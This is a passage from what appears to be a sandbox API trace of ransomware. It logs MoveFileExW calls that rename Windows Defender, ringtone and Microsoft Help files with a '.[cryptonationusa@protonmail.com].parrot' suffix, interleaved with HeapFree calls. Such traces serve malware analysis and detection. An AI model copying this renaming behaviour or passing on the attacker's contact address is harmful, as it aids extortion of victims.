lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0104.785] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 08.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 08.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.801] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 09.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 09.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0104.815] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 10.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 10.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0104.931] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0104.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0104.970] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0104.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0105.002] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669c28 | out: hHeap=0x5b0000) returned 1 [0105.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0105.066] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource\\{1d1dbf3a-752f-47e2-be70-d848d4a9afb0}"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource\\{1d1dbf3a-752f-47e2-be70-d848d4a9afb0}.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0105.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641210 | out: hHeap=0x5b0000) returned 1 [0105.072] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\unknown.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687730 | out: hHeap=0x5b0000) returned 1 [0105.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641210 | out: hHeap=0x5b0000) returned 1 [0105.095] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\mplog-07132009-221054.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687828 | out: hHeap=0x5b0000) returned 1 [0105.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0105.120] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\Hx.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f398 | out: hHeap=0x5b0000) returned 1 [0105.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.126] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681640 | out: hHeap=0x5b0000) returned 1 [0105.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.130] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.134] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681640 | out: hHeap=0x5b0000) returned 1 [0105.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.138] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681640 | out: hHeap=0x5b0000) returned 1 [0105.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.142] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.146] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.151] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.158] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.162] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681640 | out: hHeap=0x5b0000) returned 1 [0105.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.167] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681640 | out: hHeap=0x5b0000) returned 1 [0105.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.171] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.174] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681640 | out: hHeap=0x5b0000) returned 1 [0105.175] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.176] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.178] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681640 | out: hHeap=0x5b0000) returned 1 [0105.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.183] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.184] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.184] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.184] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.187] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.191] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.196] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.200] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.204] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.259] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681640 | out: hHeap=0x5b0000) returned 1 [0105.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.264] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x641228 | out: hHeap=0x5b0000) returned 1 [0105.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0105.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0105.268] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0105.268] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 